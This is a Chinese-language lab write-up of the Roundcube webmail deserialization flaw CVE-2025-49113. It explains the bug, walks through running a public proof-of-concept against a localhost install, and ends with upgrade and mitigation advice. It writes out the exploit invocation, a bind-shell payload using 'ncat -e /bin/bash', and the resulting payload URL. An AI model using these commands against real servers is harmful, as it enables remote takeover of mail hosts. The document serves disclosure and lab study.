Roundcube 反序列化漏洞分析(CVE-2025-49113):从原理到环境复现

4 阅读3分钟

Roundcube: CVE-2025–49113
Chetan Chinchulkar
4分钟阅读 · 2025年6月19日

介绍

Roundcube 是一个免费开源的 Webmail 项目。功能非常丰富,支持超过 80 种语言。虽然其内置功能已经很强,但通过第三方插件支持还能进一步扩展。

它主要需要一个支持 PHP 的 Web 服务器和一个 SQL 服务器来运行。Apache、Nginx、Lighttpd 等可以满足 Web 服务器需求;MySQL、MariaDB、PostgreSQL、SQLite 等满足数据库需求。这种通用性使 Roundcube 成为 Webmail 的热门选择,尤其是在托管服务商中。

最近,Roundcube Webmail 中发现了一个漏洞,影响 1.5.x 和 1.6.x 中早于 1.5.10 和 1.6.11 的所有版本。该漏洞允许认证用户进行远程代码执行(RCE)—— 换句话说,只要拥有 Webmail 的有效凭证,攻击者就可以在主机系统上执行命令。该漏洞的 CVSS 3.x 严重性评分为 9.9(严重)。Roundcube 已发布 1.5.10 和 1.6.11 版本,并强烈建议更新。

实验环境中的利用

让我们创建一个用户来访问 Webmail:http://localhost/roundcube
用户名:user
密码:password123

漏洞利用代码

一个概念验证(PoC)利用代码由 FearsOff 发布在他们的 GitHub 仓库 上。最简单的方法是使用 git clone https://github.com/fearsoff-org/CVE-2025-49113 下载利用代码。

CVE-2025-49113.php 执行必要的步骤,让你选择的 payload 在目标服务器上执行。在获取 CSRF token 和 session cookie 后,这个 PoC PHP 脚本会使用提供的用户名和密码登录。该脚本的核心步骤如下:

  1. 构造一个恶意的序列化 PHP 对象
  2. 将构造的对象嵌入 _from 参数
  3. 使用恶意的 _from 参数向 upload.php 端点发送 POST 请求

收到的恶意参数将在服务器端被反序列化并执行。

执行漏洞利用

要运行 PoC 代码,需要使用以下参数:

php CVE-2025-49113.php target_url username password command
  • target_url 替换为 Roundcube Webmail 的 URL,例如 http://localhost:8080/roundcube
  • usernamepassword 是之前创建的有效凭证
  • command 是你想在目标服务器上执行的 “payload”

让我们使用 ncat -lvnp 1337 -e /bin/bash 设置一个绑定 shell;这将更容易演示漏洞利用并测试是否成功执行。

在终端运行以下代码:

php CVE-2025-49113.php http://localhost:8080/roundcube user password123 "ncat -lvnp 1337 -e /bin/bash"

我们会得到类似输出:

### Roundcube d 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Retrieving CSRF token and session cookie...
### Authenticating user: user
### Authentication successful
### Command to be executed: ncat -lvnp 1337 -e /bin/bash
### Injecting payload...
### End payload: http://localhost:8080/roundcube/?_from=edit-%21%C7%22...(省略)
### Payload injected successfully
### Executing payload...
### Exploit executed successfully!! You might have to run the exploit few times before it executes successfully.

现在使用生成的 payload URL(类似 http://localhost:8080/roundcube/?_from=edit-...&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload)并在浏览器中打开,同时在 1337 端口上监听。

一旦打开链接,你会在 nc 上得到一个连接。

(原文章此处为截图说明:成功获得 shell)

我们进来了……


缓解措施

该漏洞仅需要有效的 Webmail 凭证,并且在默认安装下即可利用。由于它可以轻易地混入正常流量,因此检测起来可能比较棘手。考虑到漏洞的严重性,建议运行 1.5.x 和 1.6.x 的用户分别更新到 1.5.101.6.11。如果由于某些原因无法更新,一个缓解措施是 阻止 upload.php。 CSD0tFqvECLokhw9aBeRqopJDR93OU7WxHE+knUD6TNwqWrBZ5XIbGmcH7lRJN8HegbcyH8ZTTqpzoFNUsHN521im/Ynaw3NooLNmP3WNRU=